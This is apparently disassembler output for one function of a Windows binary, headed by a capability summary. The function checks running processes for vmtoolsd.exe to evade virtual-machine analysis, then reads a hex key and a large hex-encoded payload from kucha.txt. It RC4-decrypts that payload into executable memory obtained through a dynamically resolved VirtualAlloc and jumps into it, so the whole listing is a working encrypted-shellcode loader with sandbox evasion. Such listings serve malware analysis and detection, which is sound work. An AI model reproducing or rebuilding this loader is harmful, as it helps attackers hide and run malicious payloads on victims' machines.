Function at 0x1400010c0
Capabilities:
Encrypt data using rc4 ksa
Enumerate processes
Execute command

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0xd8da0
call fcn.140002190
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0xd8d90], rax
xor esi, esi
xor edx, edx
mov edi, esi
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001162
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14000114e
nop word [rax + rax]
lea rdx, str.vmtoolsd.exe
lea rcx, [rsp + 0x4c]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140001149
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001120
jmp 0x14000114e
mov edi, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140001162
xor eax, eax
jmp 0x140001231
lea rcx, str.start
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
jne 0x14000118c
lea eax, [rbx - 1]
jmp 0x140001231
lea rdx, str.VirtualAlloc
mov qword [rsp + 0xd8dd0], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
jne 0x1400011bb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [r15 - 1]
jmp 0x140001229
mov qword [rsp + 0xd8dc0], rbp
lea rdx, [0x140003318]
lea rcx, str.kucha.txt
mov qword [rsp + 0xd8dc8], r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x140001214
lea r9, [rsp + 0x48590]
mov rcx, rax
lea r8, [rsp + 0x160]
lea rdx, str.Key:__32s_nEncrypted_Data:__591859s
call fcn.140001010
mov rcx, rbx
cmp eax, 2
je 0x14000124c
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, 1
mov r14, qword [rsp + 0xd8dc8]
mov rbp, qword [rsp + 0xd8dc0]
mov r15, qword [rsp + 0xd8dd0]
mov rcx, qword [rsp + 0xd8d90]
xor rcx, rsp
call fcn.140001460
add rsp, 0xd8da0
pop rdi
pop rsi
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rbx, [rsp + 0x160]
mov ebp, esi
mov edi, esi
nop
cmp byte [rbx], sil
je 0x14000129a
cmp byte [rbx + 1], sil
je 0x14000129a
movsxd rax, edi
lea r8, [rsp + 0x150]
add r8, rax
lea rdx, str._2hhx
mov rcx, rbx
call fcn.140001060
cmp eax, 1
jne 0x140001214
add rbx, 2
inc ebp
inc edi
cmp edi, 0x10
jl 0x140001260
cmp ebp, 0xffffffff
je 0x140001214
lea rbx, [rsp + 0x48590]
mov r14d, esi
mov edi, esi
cmp byte [rbx], sil
je 0x1400012f2
cmp byte [rbx + 1], sil
je 0x1400012f2
movsxd rax, edi
lea r8, [rsp + 0x190]
add r8, rax
lea rdx, str._2hhx
mov rcx, rbx
call fcn.140001060
cmp eax, 1
jne 0x140001214
add rbx, 2
inc r14d
inc edi
cmp edi, 0x483fa
jl 0x1400012b0
cmp r14d, 0xffffffff
je 0x140001214
mov eax, esi
lea rcx, [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x100
jl 0x140001310
mov r9d, esi
lea r10, [rsp + 0x20]
mov r8d, esi
nop word [rax + rax]
movzx r11d, byte [r10]
mov eax, r9d
cdq
idiv ebp
movsxd rax, edx
movzx ecx, byte [rsp + rax + 0x150]
add r8d, ecx
add r8d, r11d
and r8d, 0x800000ff
jge 0x140001361
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [rsp + 0x20]
add rcx, rax
inc r9d
movzx eax, byte [rcx]
mov byte [r10], al
inc r10
mov byte [rcx], r11b
cmp r9d, 0x100
jl 0x140001330
movsxd rdi, r14d
mov edx, esi
test r14d, r14d
jle 0x1400013fb
mov r10, rsi
lea eax, [rsi + 1]
and eax, 0x800000ff
jge 0x1400013a4
dec eax
or eax, 0xffffff00
inc eax
movsxd rsi, eax
lea r8, [rsp + 0x20]
movzx r9d, byte [r8 + rsi]
add edx, r9d
and edx, 0x800000ff
jge 0x1400013c6
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8 + rsi], al
mov byte [rcx], r9b
movzx ecx, byte [r8 + rsi]
add rcx, r9
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x20]
xor byte [rsp + r10 + 0x190], cl
inc r10
cmp r10, rdi
jl 0x140001391
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call r15
mov rbx, rax
test rax, rax
je 0x140001214
mov r8, rdi
lea rdx, [rsp + 0x190]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140001219